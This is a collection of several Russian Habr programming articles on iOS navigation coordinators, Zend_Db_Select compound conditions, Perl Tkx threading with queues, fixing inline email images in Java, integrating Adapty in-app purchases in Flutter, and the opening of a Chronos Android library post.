![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0dc/f98/d9b/0dcf98d9b3576a6e713a6a3731f6a278.png)У нас есть корневой координатор ApplicationCoordinator, который стартует при запуске приложения. Он содержит три сервисных координатора, которые выполняют разные проверки: авторизацию, историю, онбординг.
Когда приложение готово к работе, один из сервисных координаторов вызывает TabBarCoordinator. Он управляет координаторами пяти вкладок приложения:
* MainTabCoordinator (Главное),
* CatalogTabCoordinator (Каталог),
* CartTabCoordinator (Корзина),
* FavoritesTabCoordinator (Любимое),
* ProfileTabCoordinator (Профиль).
![Вкладки в приложении СберМаркет](https://habrastorage.org/r/w1560/getpro/habr/upload_files/201/370/812/201370812f69d4c80def88a0ebeccee4.png "Вкладки в приложении СберМаркет")Вкладки в приложении СберМаркетВ каждой вкладке есть свои экраны, там навигация тоже построена на контроллерах, но рассказывать о них подробно мы не будем. Благодаря координаторам мы сократили объем кода вызова экранов в 2–4 раза.
```
func openLoginFlow() {
let (coordinator, presentable) = coordinatorsFactory.makeLoginCoordinator()
coordinator.output = LoginCoordinatorOutput(onFinish: { [weak self, weak coordinator] reason in
guard
let strongCoordinator = coordinator,
let self = self
else { return }
switch reason {
case .close: break
case .success, .closeConfirmationPhoneFlow:
self.didSuccessAuthorization()
}
self.router.dismissModule(animated: true)
self.removeDependency(strongCoordinator)
})
addDependency(coordinator)
router.present(presentable, animated: true)
coordinator.start(with: .login(source: .favouriteList), animated: false)
}
```
*Было: код показа одного координатора с авторизацией*
```
func openLoginFlow() {
let unit = coordinatorsFactory.makeLoginCoordinator(output: self)
unit.coordinator.start(with: .login(source: .favouriteList))
router.presentModule(unit.view)
}
```
*Стало: тот же вызов, но в новой реализации*
До того как мы стали использовать собственную реализацию координаторов, в коде был капчер-лист, зависимости нужно было добавлять и удалять вручную. Получалось много и запутанно.
С координаторами почти все вызовы стали занимать три строчки, получилось компактно и понятно. В редких случаях может быть 4–5 строк, если при инициализации координатора мы прописываем дополнительные свойства. Как работает реализация, можно понять на примере ниже.
![Жизненный цикл координатора на примере UINavigationController-стека](https://habrastorage.org/r/w1560/getpro/habr/upload_files/67c/f01/62b/67cf0162b302db2120c3aa9360d14ea4.png "Жизненный цикл координатора на примере UINavigationController-стека")Жизненный цикл координатора на примере UINavigationController-стека1. Инициализируем координатор.
2. В инициализаторе вызывается метод subscribe() — подписка на сообщения от роутера.
3. Запускаем координатор, вызвав метод start.
4. Внутри метода start() создаётся модуль, который нужно показать на экране. Пушим его методом pushModule у роутера.
5. Роутер отправляет событие-increment координатору.
6. Координатор принимает событие от роутера и проверяет countUnits. countUnits == 0. В родительском координаторе вызывается метод addChild() и добавляется как зависимость новый координатор.
7. Счетчик countUnits, который изначально был равен 0, теперь равен 1.
8. Еще раз создаем и пушим модуль через метод pushModule.
9. Роутер снова отправляет increment координатору.
10. countUnits теперь равен 2.
Мы отобразили всё, что было нужно, на экране и теперь закрываем модули через вызов метода pop.
11. Первым закрываем тот модуль, который отобразили последним, — он верхний в стеке навигации.
12. Роутер отправляет decrement координатору.
13. Координатор уменьшает countUnits на единицу.
14. Повторяем ещё раз: метод pop закрывает верхний модуль в стеке.
15. Роутер отправляет decrement.
16. countUnits == 0, поэтому координатор удаляет себя из родительского координатора.
17. Новый координатор больше ничего не держит, поэтому он деаллоцируется.
Главное, что мы получили от реализации координаторов:
* убрали лишний код из проекта, например капчер-листы, бойлерплейт-код;
* перестали вручную следить за жизненным циклом координатора, потому что он сам считает количество зависимостей и удаляется;
* передали обработку системных событий и свайпов по экрану специальному протоколу.
Всё вместе это дало меньшее число ошибок в коде и упростило жизнь разработчиков.
> *Мы завели соцсети с новостями и анонсами Tech-команды. Если хотите узнать, что под капотом высоконагруженного e-commerce, следите за нами там, где вам удобнее всего:* [*Telegram*](https://t.me/sbermarket_tech)*,* [*VK*](https://vk.com/sbermarket_tech)*.*
>
> | https://habr.com/ru/post/654339/ | null | ru | null |
# Составление запросов со сложными условиями
Доброго времени суток всем поклонникам **Zend Framework**. Думаю, что многие из вас знают, любят и используют класс **Zend\_Db\_Select** для построения sql запросов. Несомненно, у такого подхода есть масса плюсов. Достаточно изучить [документацию](http://framework.zend.com/manual/ru/zend.db.select.html), чтобы с легкостью писать простейшие запросы в БД. Но что, если требуемые запросы не совсем просты?
На Хабре уже [были](http://habrahabr.ru/blogs/zend_framework/66607/) посты по решению подобного рода проблем. Но недавно передо мной встала задача написания следующего запроса:
```
SELECT * FROM `table` WHERE `sex`= "male" AND (`age` > 18 OR `hobby` = "sport");
```
Вроде бы ничего сложного, первое что приходит в голову — использование метода **orWhere**:
```
$this->select()
->where( "sex = ?", "male" )
->where( "age > ?", 18, "INTEGER" )
->orWhere( "hobby = ?", "sport" );
```
Но это сгенерирует нам следующий SQL-код:
```
SELECT `table`.* FROM `table` WHERE (`table`.`sex`= "male") AND (`table`.`age` > 18) OR (`table`.`hobby` = "sport");
```
Что является не тем запросом, который мы ожидаем послать к базе. Как же быть? Я предлагаю такое решение:
```
$select = $this->select();
$condition = $select->orWhere( "age > ?", 18, "INTEGER" )
->orWhere( "hobby = ?", "sport" )
->getPart( Zend_Db_Select::WHERE );
$condition = is_array( $condition ) ? implode( " ", $condition ) : $condition;
$select->reset( Zend_Db_Select::WHERE );
$select->where( "sex = ?", "male" )
->where( $condition );
```
В итоге мы имеем абсолютно правильный запрос. Всем удачного кодинга ;) | https://habr.com/ru/post/111918/ | null | ru | null |
# Perl и GUI. Работа с потоками
Я затрону весьма наболевшую тему, Perl + GUI + потоки.
Наболевшую, потому что попытка заставить работать ваше приложение с потоками может закончиться неудачей. Программа «виснет», «сегфолитится», Вы обратитесь к документации, увидете там, что библиотека не thread-safe. Потраченное время было коту под хвост?
Хинт: создать потоки до вызова Tkx::MainLoop, так как MainLoop() запускает свой цикл событий и блокирует выполнение кода. Было бы все так просто! Переписали Вы код с этим условием, а она все равно виснет…
Что же делать? Выход есть.
Нужно использовать модель Boss/Workers (Начальник и Работники) и очереди сообщений (Queue).
Цель: написать приложение с GUI и использовать многопоточность.
Давайте, рассмотрим задачу «на пальцах», представим все в виде абстрактной модели.
Есть склад. Вы приходите к начальнику (boss),
— Привет, соберите мне вот этот списочек…
— Окей, сейчас раскидаю задание по частям, работники (workers) все сделают.
Кладовщики задания берут из стопки (причем берут по порядку их поступления).
Подобную очередь реализует пакет `Thread::Queue`.
Мы будем использовать несколько методов
— enqueue — положить задание
— dequeue, dequeue\_nb — взять задание
Разница между dequeue и dequeue\_nb в том, что последний неблокирующийся.
Другими словами, когда мы вызываем dequeue, мы ждем пока задание не появится, и только тогда его получаем. А во втором случае, если задания нет — то возвращается undef.
```
while( defined( my $item = $queue->dequeue() ) ) {
# выполняем какие-либо действия.
}
```
Кладовщики собрали весь необходимый товар, теперь его заберет грузчик, и Вам принесет.
…
Теперь приступим к реализации (упрощенный вариант).
Task -> Tk -> Boss -> Worker -> Result
![image](http://xmages.net/out.php/i364488_1.png)
```
#!/usr/bin/perl
use strict;
use Tkx; # тулкит
use threads; # работа с потоками
use Thread::Queue; # реализует очередь
# создаем очереди
my $queue_tk = Thread::Queue->new(); # получаем задания из Tk
my $queue_job = Thread::Queue->new(); # отправляем работникам
my $queue_box = Thread::Queue->new(); # результаты
# босс
sub thread_boss {
my $self = threads->self();
my $tid = $self->tid();
while( defined( my $item = $queue_tk->dequeue() ) ) {
print STDERR "Boss($tid) has received the task from Tk: $item\n";
# отправляем задание на обработку работнику
$queue_job->enqueue( $item );
}
$queue_job->enqueue( undef );
}
# работник(и)
sub thread_worker {
my $self = threads->self();
my $tid = $self->tid();
while( defined( my $job = $queue_job->dequeue() ) ) {
print STDERR "Worker($tid) has received task from Boss: $job\n";
# выполняем какую-нибудь работу...
print STDERR "Worker($tid) has finished the task\n";
# скидываем все в одну коробку ;)
$queue_box->enqueue( "processed: $job" );
}
$queue_box->enqueue( undef );
}
# создаем потоки
my $boss = threads->new( \&thread_boss );
my $worker = threads->new( \&thread_worker );
# Создаем UI
my $main_window = Tkx::widget->new( '.' );
my $frame = $main_window->new_ttk__frame( -padding => q/10 10 10 10/ );
$frame->g_grid();
my $label = $frame->new_ttk__label( -text => 'waiting' );
$label->g_grid( -row => 0, -column => 0, -columnspan => 2 );
# поле для ввода
my $entry_data = 'enter data here';
my $entry = $frame->new_ttk__entry( -textvariable => \$entry_data );
my $button = $frame->new_ttk__button(
-text => 'Send to Boss',
-command => sub {
$queue_tk->enqueue( $entry_data );
},
);
$entry->g_grid( -row => 1, -column => 0 );
$button->g_grid( -row => 1, -column => 1 );
# обработчик события WM_DELETE_WINDOW
sub on_destroy {
my $mw = shift;
# отсылаем очереди undef, что завершит потоки
$queue_tk->enqueue( undef );
$queue_box->enqueue( 'finish' );
# Destroy
# или Tkx::destroy( '.' )
$mw->g_destroy();
}
$main_window->g_wm_protocol( 'WM_DELETE_WINDOW', [\&on_destroy, $main_window] );
# обрабатываем результат
sub monitor {
my $status_lbl = shift;
my $result = $queue_box->dequeue_nb;
if( $result ne 'finish' ) {
if( defined $result ) {
$label->configure( -text => "job completed: ".scalar(localtime));
}
Tkx::after( 1000, [\&monitor, $label]);
}
}
# запускаем мониторинг
Tkx::after( 100, [\&monitor, $label] );
# открепляем потоки
# иначе при завершении программы, у нас будут предупреждения
# Perl exited with active threads:
# 2 running and unjoined
# 0 finished and unjoined
# 0 running and detached
$boss->detach();
$worker->detach();
Tkx::MainLoop();
```
Если Вы планируете писать многопоточную программу для работы с сетью, базами данных, то я думаю что вместо стандартных потоков, гораздо правильней будет использовать [POE](http://search.cpan.org/~rcaputo/POE-1.007/lib/POE.pm) (событийная машина, non-blocking sockets).
Пока это черновой вариант, будет дополняться. | https://habr.com/ru/post/65592/ | null | ru | null |
# Дневник одного бага: как я чинил картинки в электронной почте
Есть внутренняя система, которая крутится на Weblogic, есть готовый шаблон почты, есть программист и есть баг. Вот вы знали, что почтовые клиенты с большОй вероятностью не смогут показать картинку, которая вставлена в разметку письма, источник которой начинается на `data:image/gif;base64`?
Я, например не знал. Да что уж там, я до этого даже не знал что картинки можно вставлять в HTML разметку без, собственно, самой картинки. Так получилось, что одну и ту же .jsp используют и для составления страницы для печати, и, в отдельных случаях, для электронного письма. В итоге в обозревателе письмо открывается нормально, а почтовые клиенты показывают битую картинку.
Это будет рассказик про процесс нахождения одного решения. Теперь обо всем по порядку.
Посреди дня приходит жалоба от клиента, что в письме, которое посылает система не показываются картинки. Руководитель проекта сделал задачу, дал мне, впрочем, все как обычно. Полез проверять через интерфейс и взаправду, мой Outlook выдал заготовку с красными крестами в квадратах вместо картинок. В коде приметил, что тот же .jsp файл-шаблон используется чтобы составлять данные документа для распечатки. В тот момент я подумал, что как хорошо, что не надо будет проходить всю бизнес логику чтобы получить письмо, а смогу просто смотреть на заготовку для печати. Открыв заготовочку все оказалось красиво и как надо.
Задачка стала немного менее приятной, но кто боится вызовов? Сначала пошерстил интернет в поисках способов, как заставить Outlook показать мне разметку письма, что удалось довольно быстро. В разметке нашел, что в отличие от веб интерфейса в base64 картинке вместо "+" было "& #43;". Первая догадка была, что метод который посылает HTML заготовку на SMTP сервер фильтрует какие-то спецсимволы. Это было не так, до самого "*email.send();*" строка содержала все нужные символы.
Пора обратиться к компании добра за направлением к причинам такого поведения. Через некоторое время нашел ресурс, в котором автор проверял такие картинки на совместимость с почтовыми клиентами. В приведенной им табличке без огрехов показывал картинки только яблочный клиент. В коде его письма я увидел заветный "+" и понял, что это мой случай. Рассказал об открытии аналитику. Он сказал, что все равно надо чинить, и заодно пожаловался, что раньше же было все хорошо.
А раньше система крутилась на OC4J и после переезда на Weblogic относительные пути тоже куда-то съехали. Из-за путей кидала ошибку уже упомянутая заготовка для печати. Коллега заготовочку для печати поправил, но письма или никто не приметил, или просто не тестили, ведь печать-то работает. Нашел метод, где формировалась строка из .jsp, и чуть глубже нашел и что-то интересное.
**Метод-отправитель письма**
```
protected boolean sendHtmlEmail(String fromAddress, String fromName, String toAddress, String toName, String subject, String textContent, String htmlContent, String serverName, String serverPort, String serverPath, String docRoot) {
boolean result = true;
HtmlEmail email = new HtmlEmail();
try {
// Setup email parameters
email.setHostName(SMTP_HOST);
email.setSmtpPort(SMTP_PORT);
email.setCharset("UTF-8");
email.addTo(toAddress, toName);
email.setFrom(fromAddress, fromName);
email.setSubject(subject);
// Add text body
if (!"".equals(textContent)) {
email.setTextMsg(textContent);
}
// Add HTML body with inline images
if (!"".equals(htmlContent)) {
// System.out.println("htmlContent src: " + htmlContent);
Matcher matcher = ManagerBase.imageSrcPattern.matcher(htmlContent);
//URL imageURL = null;
String imageCID = null;
while (matcher.find()) {
//System.out.println("sendHtmlEmail:");
//System.out.println("imageURL done: " + imageURL.toString());
//ClassLoader classLoader = getClass().getClassLoader();
//File file = new File(classLoader.getResource("../../" + matcher.group(2)).getFile());
// File image = new File(docRoot + matcher.group(2));
// imageCID = email.embed(image/*, matcher.group( 2 )*/);
// System.out.println("imageCID done:" + imageCID);
// htmlContent = htmlContent.replaceFirst(matcher.group(2), "cid:" + imageCID);
}
//System.out.println("htmlContent done: " + htmlContent);
email.setHtmlMsg(htmlContent);
}
// Build && send email
//email.buildMimeMessage();
result = result && filterDebugMail(toAddress, errors);
if (result == true)
email.send();
}
catch (Exception e) {
// ......тут обработка ошибок, тут неинтересно
// ...... хотя и вне спойлера наверное не очень :)
}
return result;
}
```
Похоже, что это использовалось до кодированных картинок? Я подумал, что да. Но CVS мне сказал, что первая версия файла была уже с таким вот методом. Но ничего, тут же почти все готово. Почитаю про «cid» и будет все хорошо. Так я думал…
С начала исследования проблемы прошел может час, хотя скорее всего все два. Пора бы и что-нибудь закодить наконец. Сначала надо найти картинки. В ресурсах только шаблоны .doc документов, странно. Нашел картинки в папке рядом с пачкой .jsp. Ладно, пускай, но все равно скопирую нужные мне картинки в ресурсы, оттуда хотя бы стандартным *getResource()* можно достать. Так, что надо для cid?
О! Рядом с *HtmlEmail* есть его приемник *ImageHtmlEmail*, он явно лучше подойдет, мне как раз картинки и нужны. Дальше решил все таки разделить начальный .jsp и сделал для почты практически идентичный прошлому (знаю про DRY, не бейте, пожалуйста). Но по гайдам поменял значения src атрибутов на «cid:[название файла без расширения]». Не обязательно должно было быть название файла, но мне так показалось логичнее, тем более, что паттерн для *Matcher* уже отбирает то что внутри тэга img.
Дальше написал чтобы система по *Matcher* выбирала правильный файл из ресурсов:
**Начало**
```
while (matcher.find()) {
// находим имг тэг, src будет в стиле cid:[название файла]
String cidInFile = matcher.group(2);
// название файла
String imageName = cidInFile.substring(cidInFile.indexOf(":")+1);
// файл в ресурсах
String imageFullResPath = "/images/print/" + imageName + ".gif";
}
```
Так мне надо запихнуть картинку в *email.embed()*, метод требует *DataSource*. Обращение в корпорацию добра, 5 новых открытых вкладок, новое представление о новом знакомом. Из четырех полноценных классов-реализаций интересны оказались два — *ByteArrayDataSource* и *FileDataSource*. Но файл предполагает работу с путями, а так как прошлое решение было переделано из-за путей, оставим это на крайний случай. *ByteArrayDataSource* в конструкторе хочет массив байтов и тип данных. Еще одно обращение к добру, еще 7 вкладок. Пусть меня поправят, если я не прав, но в тип надо подавать MIME тип. У меня гифки — «image/gif». Собственно массив данных получаем с помощью *getResourceAsStream()* и *IOUtils* из *apache-commons-io*.
Теперь все как то так:
**Пол пути**
```
while (matcher.find()) {
// находим имг тэг, src будет в стиле cid:[название файла]
String cidInFile = matcher.group(2);
// название файла
String imageName = cidInFile.substring(cidInFile.indexOf(":")+1);
// файл в ресурсах
String imageFullResPath = "/images/print/" + imageName + ".gif";
// сделаем массив байтов
ClassLoader classLoader = getClass().getClassLoader();
InputStream is = classLoader.getResourceAsStream(imageFullResPath);
byte[] imageData = IOUtils.toByteArray(is);
// embed был нужеy DataSource
DataSource ds = new ByteArrayDataSource(imageData, "image/gif");
String cid = email.embed(ds, imageName);
}
```
Выглядит намного лучше, тем более, что когда прогнал через дебагер, ошибок не было. Откомментировал *email.send()*, запускаю — *NullPointerException*, проблема. Вроде все у меня не null, но повторные попытки приводят к тем же результатам. Хорошо что добро показало, где можно посмотреть исходники *ImageHtmlEmail*, которое кидает NPE. Хмм… там единственное что может кидать NPE — *DataSourceResolver*, его же не было не в одном из трех прочитанных обучений про *ImageHtmlEmail*. Ну вот же — не… есть, и в том есть, и в последнем тоже.
Попытка добавить нужное остановилась на выборе имплементации, потому что *DataSourceFileResolver* был, а какого-нибудь *DataSourceByteResolver* — не было.
Тут пропустим два часа тщетных попыток все уже написанное перевести под *FileDataSource*. Но в конце отчаявшись, я подсмотрел, что *DataSourceFileResolver* не важно, что у меня за *DataSource*, если src картинки начинается с «cid».
В общем, конечный вариант выглядел как-то так:
**Конец**
```
protected boolean sendHtmlEmail(String fromAddress, String fromName, String toAddress, String toName, String subject, String textContent, String htmlContent, String serverName, String serverPort, String serverPath, String docRoot) {
boolean result = true;
ImageHtmlEmail email = new ImageHtmlEmail();
try {
// Setup email parameters
email.setHostName(SMTP_HOST);
email.setSmtpPort(SMTP_PORT);
email.setCharset("UTF-8");
email.addTo(toAddress, toName);
email.setFrom(fromAddress, fromName);
email.setSubject(subject);
// Add text body
if (!"".equals(textContent)) {
email.setTextMsg(textContent);
}
// Add HTML body with inline images
if (!"".equals(htmlContent)) {
URL resurl = getClass().getResource("/");
URI resURI = resurl.toURI();
File resFolder = new File( resURI );
resFolder = resFolder.getParentFile();
DataSourceResolver resolver = new DataSourceFileResolver(resFolder);
email.setDataSourceResolver(resolver);
Matcher matcher = ManagerBase.imageSrcPattern.matcher(htmlContent);
while (matcher.find()) {
// находим имг тэг, src будет в стиле cid:[название файла]
String cidInFile = matcher.group(2);
// название файла
String imageName = cidInFile.substring(cidInFile.indexOf(":")+1);
// файл в ресурсах
String imageFullResPath = "/images/print/" + imageName + ".gif";
// сделаем массив байтов
ClassLoader classLoader = getClass().getClassLoader();
InputStream is = classLoader.getResourceAsStream(imageFullResPath);
byte[] imageData = IOUtils.toByteArray(is);
// embed был нужеy DataSource
DataSource ds = new ByteArrayDataSource(imageData, "image/gif");
String cid = email.embed(ds, imageName);
}
// email ready, enjoy your transfer
email.setHtmlMsg(htmlContent);
}
result = result && filterDebugMail(toAddress, errors);
if (result == true)
email.send();
}
catch (Exception e) {
// .........
}
return result;
}
```
Считаю нужным отметить, что пропущено и по сути ~6 строчек кода потребовала:
— 6 часов рабочего времени
— >30 вкладок с обучениями, StackOverflow, итд.
— по одному сдержанному крепкому словечку каждый третий локальный билд
— >30 локальных билдов
Хотел написать себе заметку о найденном решении, но вдруг кому еще пригодится… если найдут. | https://habr.com/ru/post/313346/ | null | ru | null |
# Реализация in-app purchases на Flutter c помощью Adapty SDK
Привет, меня зовут Алексей, я разрабатываю [Adapty SDK для Flutter](https://github.com/adaptyteam/AdaptySDK-Flutter). Сегодня я расскажу про внедрение внутренних покупок в мобильное приложение на [Flutter](https://flutter.dev) с помощью плагина, который мы разрабатываем.
Flutter — это относительно новый фреймворк от Google для быстрого создания кросс-платформенных приложений. Второй популярный фреймворк — React Native, о покупках на Реакте мы писали в [другой статье](https://habr.com/ru/company/adapty/blog/576850/).
Приложения на Flutter собираются сразу и под iOS, и под Android, следовательно, библиотека для покупок должна поддерживать и StoreKit, и Billing Library.
Архитектурно каждый плагин для платежей, включая наш Adapty Flutter SDK представляет собой обертку над нативными библиотеками StoreKit и Billing Library. В нашем случае мы делали обертку над своими же библиотеками [Adapty iOS](https://github.com/adaptyteam/AdaptySDK-iOS) и [Android SDK](https://github.com/adaptyteam/AdaptySDK-Android).
### Open source библиотеки для подключения внутренних покупок на Flutter
Самые популярные решения для подключения покупок на Flutter — это open source плагины [in\_app\_purchase](https://pub.dev/packages/in_app_purchase) и [flutter\_inapp\_purchase](https://pub.dev/packages/flutter_inapp_purchase). Первая — официальный плагин от команды разработчиков Flutter, второй — неофициальный.
Эти плагины созданы для клиентской части платежей, то есть они не предоставляют серверную верификацию покупок (server-side receipt validation).Вам нужно самим создать инфраструктуру со стороны сервера для валидации чеков, сбора аналитики по событиям платежей: отслеживания продлений, возвратов, триалов, отмен и т.д.
Также поддержка новых фичей, которые выкатывают сторы, появляется в этих библиотеках довольно поздно. Например, сейчас в них нет [промо-офферов, pay as you go и pay upfront от iOS](https://habr.com/ru/company/adapty/blog/578180/).
Так как наша библиотека работает с нашим сервером, то она сразу закрывает следующие технические задачи:
* серверная валидация покупок;
* поддержка всех актуальные нативные фичи по платежам;
* DRY синтаксис;
* сбор аналитики подписок и покупок;
* быстрый запуск экспериментов с покупками, ценами и периодами, a/b тесты;
* пейволлов и отправка скидок.
Чтобы сделать статью короче и удобнее, мы будем оставлять ссылки на предварительные шаги на нативных платформах из наших прошлых статей.
### Создание покупок в iOS и в Android
Для начала надо создать аккаунт разработчика, если у вас его нет, а дальше в iOS и в Android нужно будет создать по одной недельной покупке. Как это делается, мы описали в других статьях:
[Создание покупок на iOS](https://habr.com/ru/company/adapty/blog/507664/)
[Создание покупок на Android](https://habr.com/ru/company/adapty/blog/568902/)
После этого можем приступить к созданию и настройке проекта.
### Создание проекта и настройка
Чтобы покупки заработали и у нас в системе, и в вашей реализации, нужно заполнить технические параметры.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/384/c3c/062/384c3c06291df78517557636373b2cfd.png)Для iOS нужно:
* **указать Bundle ID** — чтобы все работало;
* **установить App Store Server Notifications в App Store Connect** — для того, чтобы мы могли узнавать о событиях подписок;
* **заполнить App Store Shared Secret** — чтобы валидировать рецепты.
Для Android обязательны Package Name и Service Account Key File. Package name — аналог Bundle ID с iOS. Нужно указать тот, что в коде, он находится в файле /android/app/build.gradle в разделе *android.defaultConfig.applicationId*.
### Настройка продуктов и пейволлов
Продукт в Adapty инкапсулирует в себе продукты из разных магазинов. Сейчас это App Store и Google Play, но в будущем будут другие. Сделано это для более удобной сводной статистики и для удобной работы с сущностями более высокого уровня, а не с идентификаторами.
**Пейволл** — это абстрактная сущность, которая содержит в себе массив продуктов и remote config (JSON c любой мета-информацией от разработчика). В приложение зашивается идентификатор пейволла и по нему приходит вся информация о продуктах и конфиг. При этом в любой момент продукты можно изменить, как и конфиг. Стандартный сценарий работы — вы делаете свою верстку пейволла, а заполняете его информацией от нас.
#### Создание продукта
Создадим один продукт, соответствующий недельной подписке в Google Play Console и App Store Connect. Нужно заполнить ID соответствующих продуктов из платежных систем. Важно, что так как у App Store Connect нет API, это нужно сделать руками, но только один раз.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1eb/59a/c96/1eb59ac967ae4d413bfc1e5ca7cb700a.png)#### Создание пейволла
При создании пейволла самое главное — указать его ID в удобном и понятном формате. По этому идентификатору SDK будет запрашивать всю информацию о пейволле. Нам кажется удачным такой подход: в такой архитектуре не нужно хардкодить продукты на клиенте, появляется гибкость в управлении продуктами, версионировании, запуске тестов и тд. Как альтернатива такому подходу — использовать Firebase JSON c набором вшитых продуктов, но это менее удобно и не валидирует ошибки.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/89f/acc/135/89facc1359efe6db5995d4c45623a747.png)Все, мы создали продукт, пейволл и теперь готовы к первой покупке. Перейдем к установке SDK.
### Работа с SDK
Рассмотрим основные функции, которые нам понадобятся для работы с подписками.
#### Установка библиотеки
В первую очередь нужно добавить библиотеку `adapty_flutter` в ваш проект. Для этого в файле `pubspec.yaml` добавляем зависимость:
```
dependencies:
adapty_flutter: ^1.0.4
```
И запустите
```
flutter pub get
```
После этого вы можете импортировать Adapty SDK в свое приложение следующим образом:
```
import 'package:adapty_flutter/adapty_flutter.dart';
```
#### Настройка
Чтобы ваше приложение могло работать с Adapty, вам необходимо его настроить. Для этого добавьте флаг `AdaptyPublicSdkKey` в`Info.plist`(iOS) или в `AndroidManifest.xml`(Android) с вашим публичным SDK ключом.
SDK ключ вы можете найти в [настройках Adapty](https://app.adapty.io/settings/general):
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/a1a/401/09e/a1a40109e57b29c376817d2cabf44c4d.jpeg)`Info.plist:`
```
...
AdaptyPublicSdkKey
```
`AndroidManifest.xml:`
```
...
```
Далее активируйте SDK, вызвав на стороне Flutter следующий код, например, в методе `main()` вашего проекта:
```
void main() {
runZoned(() async {
Adapty.activate();
final installId = await Service.getOrCreateInstallId();
await Adapty.identify(***customer-user-id***);
await Adapty.setLogLevel(AdaptyLogLevel.verbose);
runApp(MyApp());
});
}
```
Функция `void Adapty.activate()` активирует библиотеку `Adapty_Flutter`:
```
Future Adapty.identify(String customerUserId)
```
`Adapty.identify` позволяет установить id пользователя. Adapty отправляет его в подписку и аналитику, чтобы присвоить события нужному профилю. Вы также сможете найти клиентов по *customerUserId* в [Profiles](https://app.adapty.io/profiles/users).
Adapty регистрирует ошибки и другую важную информацию, чтобы помочь вам понять, что происходит. Функция
```
Future Adapty.identify(AdaptyLogLevel value)
```
позволяет установить один из 3 возможных значений:
* `AdaptyLogLevel.none` (по умолчанию): ничего не будет регистрироваться;
* `AdaptyLogLevel.errors`: будут регистрироваться только ошибки;
* `AdaptyLogLevel.verbose`: будут регистрироваться вызовы методов, запросы API/ответы и ошибки.
#### Получение пейволлов
Чтобы получить список пейволов, выполните следующий код:
```
try {
final GetPaywallsResult getPaywallsResult = await Adapty.getPaywalls(forceUpdate: Bool);
final List paywalls = getPaywallsResult.paywalls;
} on AdaptyError(adaptyError) {}
catch(e) {}
```
Функция `Adapty.getPaywalls()` возвращает объект `GetPaywallsResult` который содержит:
* пейволлы: массив пейволлов (`AdaptyPaywall`). Модель содержит список продуктов, ID пейволла, `custom payload` и несколько других значений.
#### Совершение покупок
После того, как на предыдущем шаге мы получили массив пейволов, требуется найти нужный нам, для того чтобы отобразить соответствующие продукты в интерфейсе (предположим, что наш пейвол в админке был назван *your\_paywall\_id)*:
```
final List? paywalls = getPaywallsResult.paywalls;
myPaywall = paywalls?.firstWhere((paywall) => paywall.developerId == "your\_paywall\_id", orElse: null);
```
Далее, воспользовавшись массивом продуктов из поля products, отображаем их все. Допустим, пользователь желает купить первый продукт, так что для простоты возьмем первый элемент массива продуктов:
```
final AdaptyProduct? product = myPaywall?.products?.first;
```
Для запуска процесса покупки вызываем функцию `makePurchaseResult` (не забыв обернуть в try-catch блок, чтобы получать все ошибки от sdk)
```
final MakePurchaseResult makePurchaseResult = await Adapty.makePurchase(product);
```
После того, как функция отработает успешно, в переменной makePurchaseResult будет результат. Проверяем наличие уровня доступа после завершения процесса покупки:
```
final isPremium = makePurchaseResult?.purchaserInfo?.accessLevels['premium']?.isActive ?? false;
```
примечание: `AdaptyErrorCode.paymentCancelled` указывает на то, что пользователь сам отменил покупку, и по сути не является ошибкой.
Для восстановления покупок используется метод `.restorePurchases()`:
```
try {
final RestorePurchasesResult restorePurchasesResult = await Adapty.restorePurchases();
// "premium" is an identifier of default access level
if (restorePurchasesResult?.purchaserInfo?.accessLevels['premium']?.isActive ?? false) {
// grant access to premium features
}
} on AdaptyError catch (adaptyError) {}
catch (e) {}
```
Обратите внимание, что и объект `MakePurchaseResult`, и объект `RestorePurchasesResult` включают `purchaserInfo`. Этот объект содержит информацию об уровнях доступа, подписках и покупках без подписки. Как правило, вы должны проверить только статус уровня доступа, чтобы определить, имеет ли пользователь премиум-доступ к приложению.
#### Статус подписки
Чтобы не проверять предыдущую цепочку транзакций, мы оперируем понятием уровня доступа. Уровень доступа — эта флаг, который говорит о том, какого уровня функционал доступен пользователю в приложении. Если покупок не было, то уровень доступа пустой. Иначе, тот, который вы привязали к продукту.
Например, у вас может быть две уровня доступа: серебряный и золотой. Разные покупки разблокируют разный доступ и фичи. Большинство приложений имеют один уровень доступа.
Достаточно проверить, что у пользователя есть активный уровень доступа, чтобы понять, что подписка пользователя активна. Для этого используется метод `.getPurchaserInfo()`
```
try {
AdaptyPurchaserInfo purchaserInfo = await Adapty.getPurchaserInfo();
// "premium" is an identifier of default access level
if (purchaserInfo.accessLevels['premium']?.isActive ?? false) {
// grant access to premium features
}
} on AdaptyError catch (adaptyError) {}
catch (e) {}
```
Также вы можете узнавать об изменение статуса уровня доступа подписчика, подписавшись на стрим `.purchaserInfoUpdateStream`, как показано ниже:
```
Adapty.purchaserInfoUpdateStream.listen((purchaserInfo) {
print('#Adapty# Purchaser Info Updated');
if (purchaserInfo.accessLevels['premium'].isActive) {
// grant access to premium features
}
});
```
### Заключение
Мы сделали [SDK](https://github.com/adaptyteam/AdaptySDK-Flutter) так, чтобы вы могли максимально быстро и гибко внедрить платежи к себе в приложение. Более того, мы постарались сделать дальнейшие шаги работы с платежами, такие как А/Б тесты, аналитика и интеграции максимально простыми и быстрыми.
Мы делаем полный функционал покупок бесплатно (если ваша выручка не превышает $10 000 в месяц). Сохраните себе месяцы работы и сфокусируйтесь на главном — на вашем продукте. | https://habr.com/ru/post/579744/ | null | ru | null |
# Библиотека Chronos: облегчаем написание долгих операций
Привет, Хабр! Хочу рассказать вам о библиотеке Chronos для Android (API level >= 9), цель которой – облегчить написание долгих операций, например, сетевых запросов, или обращений к БД.
![](https://habrastorage.org/r/w1560/files/0ce/983/746/0ce983746d20401e8d8dd86f32c13286.png)
**Какую проблему решаем?**
Не секрет, что для Android задача выполнения асинхронных операций всегда была одной из самых частовстречающихся. Действительно, крайне мало приложений работают исключительно в оффлайн, и где можно обойтись без сетевого взаимодействия. И уж совсем крохотная их часть обходится без обращения к постоянной памяти устройства, будь то база данных, Preferences или обычный файл. Однако, на протяжении истории развития системы нам так и не было предложено ни одного достаточно удобного решения “из коробки”.
![](https://habrastorage.org/r/w1560/files/bfe/ed1/06e/bfeed106ee2a414f9c1e6b4913d93662.png)
